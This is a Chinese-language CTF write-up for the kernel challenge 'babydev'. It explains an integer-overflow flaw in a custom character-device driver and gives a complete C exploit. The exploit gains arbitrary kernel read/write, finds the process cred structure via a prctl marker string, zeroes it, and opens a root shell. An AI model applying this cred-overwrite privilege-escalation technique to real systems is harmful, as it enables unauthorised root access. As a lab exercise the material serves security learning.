xyb_babydev

babydev详解

程序分析

首先打开文件系统查看初始化的脚本init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod mychrdev.ko
chmod 777 /dev/mychrdev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

poweroff -d 0 -f

发现程序加载了一个mychrdev.ko的模块,漏洞就应该在这个内核模块中。看名字应该是一个字符设备的驱动程序。

将这个模块从文件系统中拷贝出来,用IDA打开它,进行分析。可以看到程序主要有几个主要的函数llseekreadwriteopenioctl

截屏2020-11-23 下午8.57.36

结合模块的名字大致能知道每个函数的作用,readwriteopen就是重写了orw操作,ioctl大概是它自定义了一个操作,llseek实现的就是重定位读写指针的功能。

ioctl

截屏2020-11-23 下午9.06.01

这个函数通过0x1111命令泄漏了一些信息给我们。通过它我们能知道v9,v10,v11,v12md的值。通过分析我们知道v9是当前的进程号,v10是当前程序的名称,v11,v12缓冲区的一些信息,md则直接将缓冲区的地址mydata告诉了我们。

readwrite && llseek

驱动程序主要维护三个值,一个是文件的读写指针,没次打开文件的时候都会被重新设置为0;文件的头指针,指向文件内容开始的地方,它存放在mydata+0x10000中,表示文件内容的起始地址相对于mydata的偏移;三是文件的大小,它存放在mydata+0x1008中。

llseek中可以重制文件指针的值,并且返回重制以后文件指针的值。它有三种模式

  • mod==0时,会重制文件指针为a2
  • mod==1时,将文件指针跳转到当前地址+a2的位置
  • mod==2时,会将指针跳到文件倒数第|a2|(这里a2要是个负数)个位置

这里可以看到llseek无法将文件指针设置为一个负数。

截屏2020-11-23 下午9.05.34

查看read函数,在copy_to_user函数第二个参数s_n + base + mydata表示要拷贝的内核空间的地址,这里存在一个整型漏洞,s_n+base是负数的时候就可以跳转到my_data之前的地址。其中s_n是文件指针的值,我们无法通过llseek将其设置为负数,因此要想跳到my_data之前的位置进行操作要考虑在base上(mydata+0x10000)做文章

截屏2020-11-23 下午9.05.53

查看write函数,发现其同样存在整型漏洞,只要能将my_data+0x10000的位置,设置为负数就能够对mydata之前的地址进行操作。

截屏2020-11-23 下午9.06.19

仔细观察发现write还有一个漏洞。*(_QWORD *)(mydata + 0x10008) += n;每次写成功之后都会吧写的内容的大小加到mydata + 0x10008上,和llseek配合就能够使得mydata+0x10008值超过0x10000,使得我们能够通过write随意修改mydata+0x10000mydata+0x10008上的内容,从而实现对任意地址的读写操作。

漏洞利用

首先为了绕过write的检查,先写0x10000的内容,再将文件指针设置为0,再写0x10000的内容上去使得my_data+0x10008的值变成0x20000,这样就能随意写my_data+0x10000my_data+0x10008的内容。

1
2
3
4
5
6
7
8
9
int fd = open("/dev/mychrdev", O_WRONLY);
u_char buf[0x10010];
memset(buf, 0, sizeof buf);
for (int i = 0; i < 2; i++)
{
long n = write(fd, buf, 0x10000);
lseek(fd, 0, 0);
}
close(fd);

然后我们就能够对任意地址进行读写,因为进程的cred结构在mydata之前,我们就主要跳到mydata之前进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fd = open("/dev/mychrdev", O_WRONLY);
int n = lseek(fd, pos, 0);

*(size_t *)buf = -(long long)(addr >> 8);
*(size_t *)(buf + 8) = 0x100000000000LL;
n = write(fd, buf, 0x1000);
// printf("%x\n\n", n);
close(fd);

memset(buf, 0, sizeof buf);
fd = fd = open("/dev/mychrdev", O_RDONLY);
n = lseek(fd, 0, 0);
// printf("%d\n", n);
n = read(fd, buf, 0x10000);
// printf("%d\n\n", n);
close(fd);

利用char target[16] = "try2findmep4nda";prctl(PR_SET_NAME, target);target写进内核空间中,在内核空间中target的那个地址靠近cred指针,因此只要利用任意读爆破出它的地址就能够知道cred地址,利用任意写将cred中的前0x28个字节设置为0。这里可以参考P4nda大神的博客

1
2
3
4
5
6
7
print_hex(buf,0x100);
printf("\n");
for(int i=0;i<0x28;i++)
{
buf[i]=0;
}
print_hex(buf, 0x100);

最后实现提权。

截屏2020-11-23 下午11.18.18

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

size_t heap;

void id()
{
printf("uid:%d\n", getuid());
}

void show()
{
int fd = open("/dev/mychrdev", O_RDONLY);
u_char buf[0x100];

ioctl(fd, 0x1111, buf);
u_char *p = buf;
printf("%d\n", *(int *)p);
p += 4;
printf("%s\n", p);
p += 0x10;
printf("0x%x\n", *(int *)p);
p += 4;
printf("0x%x\n", *(long *)p);
p += 8;
printf("%p\n", *(size_t *)p);
heap = *(size_t *)p;
close(fd);
}

void print_hex(char *buf, size_t len)
{
int i;
for (i = 0; i < ((len / 8) * 8); i += 8)
{
printf("0x%lx", *(size_t *)(buf + i));
if (i % 16)
printf(" ");
else
printf("\n");
}
printf("\n");
}

int main()
{

id();

show();

int fd = open("/dev/mychrdev", O_WRONLY);
u_char buf[0x10010];
memset(buf, 0, sizeof buf);
for (int i = 0; i < 2; i++)
{
long n = write(fd, buf, 0x10000);
lseek(fd, 0, 0);
}
close(fd);


size_t addr = 0x10000, pre_addr = 0;
size_t cred, real_cred, target_addr;
char target[16] = "try2findmep4nda";
prctl(PR_SET_NAME, target);
for (;; pre_addr = addr, addr += 0x10000)
{
// printf("pre_addr:0x%lX\n",heap-pre_addr);
// printf("addr:0x%lX\n", heap-addr);
size_t pos = pre_addr + 0x10001;
// printf("pos:0x%lx\n", pos);

fd = open("/dev/mychrdev", O_WRONLY);
int n = lseek(fd, pos, 0);
// printf("0x%x\n", n);
// *(size_t *)buf = -0x10000LL;
*(size_t *)buf = -(long long)(addr >> 8);
*(size_t *)(buf + 8) = 0x100000000000LL;
n = write(fd, buf, 0x1000);
// printf("%x\n\n", n);
close(fd);

memset(buf, 0, sizeof buf);
fd = fd = open("/dev/mychrdev", O_RDONLY);
n = lseek(fd, 0, 0);
// printf("%d\n", n);
n = read(fd, buf, 0x10000);
// printf("%d\n\n", n);
close(fd);

if (n != -1)
{
u_int result = memmem(buf, 0x10000, target, 16);
if (result)
{
size_t temp = buf + result - (u_int)buf;
real_cred = *(size_t *)(temp - 0x10);
// target_addr = heap - addr + result - (u_int)(buf);
break;
}
}
else
{
break;
}
}

pre_addr=addr;
size_t mod=(real_cred>>16)<<16;
addr=heap-mod;
size_t p_pos=real_cred-mod;

// printf("%p\n", pre_addr);
// printf("%p\n", addr);
// printf("%p\n", mod);
// printf("%p\n", p_pos);

fd = open("/dev/mychrdev", O_WRONLY);
size_t pos = pre_addr + 0x10001;
int n = lseek(fd, pos, 0);
*(size_t *)buf = -(long long)(addr >> 8);
*(size_t *)(buf + 8) = 0x100000000000LL;
n = write(fd, buf, 0x1000);
// printf("%x\n\n", n);
close(fd);

memset(buf, 0, sizeof buf);
fd = fd = open("/dev/mychrdev", O_RDONLY);
n = lseek(fd, p_pos, 0);
// printf("%d\n", n);
n = read(fd, buf, 0x100);
// printf("%d\n\n", n);
close(fd);

// print_hex(buf,0x100);
// printf("\n");
for(int i=0;i<0x28;i++)
{
buf[i]=0;
}
// print_hex(buf, 0x100);

fd = fd = open("/dev/mychrdev", O_WRONLY);
n = lseek(fd, p_pos, 0);
// printf("%d\n", n);
n = write(fd, buf, 0x100);
// printf("%d\n\n", n);
close(fd);

id();
// close(fd);

system("/bin/sh");

return 0;
}

这篇博客已经在发布在安全客上https://www.anquanke.com/post/id/223468